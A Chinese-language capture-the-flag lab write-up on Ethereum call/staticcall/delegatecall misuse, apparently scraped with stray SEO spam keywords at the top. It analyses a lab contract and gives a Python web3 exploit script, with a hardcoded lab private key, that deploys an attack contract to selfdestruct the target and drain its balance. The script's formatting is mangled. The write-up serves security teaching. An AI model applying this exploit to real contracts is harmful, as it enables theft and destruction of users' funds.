rio门户网站的制作,排名优化公司哪家效果好,秦皇岛电子网站建设,怎么学平面设计啊区块链安全 文章目录 区块链安全Call函数簇滥用实战二实验目的实验环境实验原理实验内容实验步骤EXP利用 Call函数簇滥用实战二
实验目的
学会使用python3的web3模块 学会并区分以太坊call、staticcall、delegatecall三种函数调用的特点 找到合约漏洞进行分析并形成利用
实验…区块链安全 文章目录 区块链安全Call函数簇滥用实战二实验目的实验环境实验原理实验内容实验步骤EXP利用 Call函数簇滥用实战二
实验目的
学会使用python3的web3模块 学会并区分以太坊call、staticcall、delegatecall三种函数调用的特点 找到合约漏洞进行分析并形成利用
实验环境
Ubuntu18.04操作机 实验工具 python3
实验原理
call调用最常用的调用方式调用后内置变量msg的值会修改为调用者执行环境为被调用者的运行环境 delegatecall调用调用后内置变量msg的值不会修改为调用者但执行环境为调用者的运行环境 staticcall调用调用之后不能改变合约状态否则交易会回滚
实验内容
合约中使用到了call、delegatecall、staticcall函数调用找到合约漏洞并形成利用把合约余额清空即可 使用python3的web3模块远程利用漏洞并获取flag 实验地址为nc ip 10006
实验步骤
获取合约地址和合约源代码 nc ip 10006连接到题目输入1获取部署合约的game account及token
打开http://ip输入上述分配的game account点击Request获取eth nc ip 10006连接到题目输入2获取部署合约的地址及new token nc ip 10006连接到题目输入4获取合约源代码或者在题目附件找到合约源代码
分析合约源代码漏洞 题目要求清空合约余额
先分析程序主要逻辑首先拿calldatastaticcall自己保证交易正常进行不会revert回滚其次拿calldatacall自己这个时候自己调用自己会执行delegatecall逻辑题目要求清空合约余额可以借助delegatecall直接destruct合约 所以设计一个攻击合约只需要满足staticcall的时候不改变合约状态delegatecall的时候执行selfdestruct即可由于是0.6.12版本可借助try catch实现。
EXP利用
用python编写自动化exp功能包括部署攻击合约得到攻击合约地址将其作为题目合约的hack函数参数进行调用即可
from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import timew3 Web3(Web3.HTTPProvider(http://192.168.2.102:8545))contract_address 0xE7f096F94e7BCa204A673319510FB051E526a70E
private 92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb
public 0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480fdef generate_tx(chainID, to, data, value):txn {chainId: chainID,from: Web3.toChecksumAddress(public),to: to,gasPrice: w3.eth.gasPrice,gas: 3000000,nonce: w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),value: Web3.toWei(value, ether),data: data,}return txndef sign_and_send(txn):signed_txn w3.eth.account.signTransaction(txn, private)txn_hash w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt w3.eth.waitForTransactionReceipt(txn_hash)print(txn_hash, txn_hash)return txn_receiptset_solc_version_pragma(^0.6.12)
with open(./attack.sol, r) as f:SRC_TEXT f.read()
compiled_sol compile_source(SRC_TEXT)
CONT_IF compiled_sol[stdin:Solver]txn generate_tx(8888, , CONT_IF[bin], 0)
txn_receipt sign_and_send(txn)
hack_address txn_receipt[contractAddress]
print(hack_address ,hack_address)time.sleep(5)data Web3.keccak(textHack(address)).hex()[:10]
data hack_address[2:].rjust(64, 0) # Hack(address)
txn generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
print(sign_and_send(txn))执行exp nc ip 10006连接到题目输入3输入之前的new token获取flag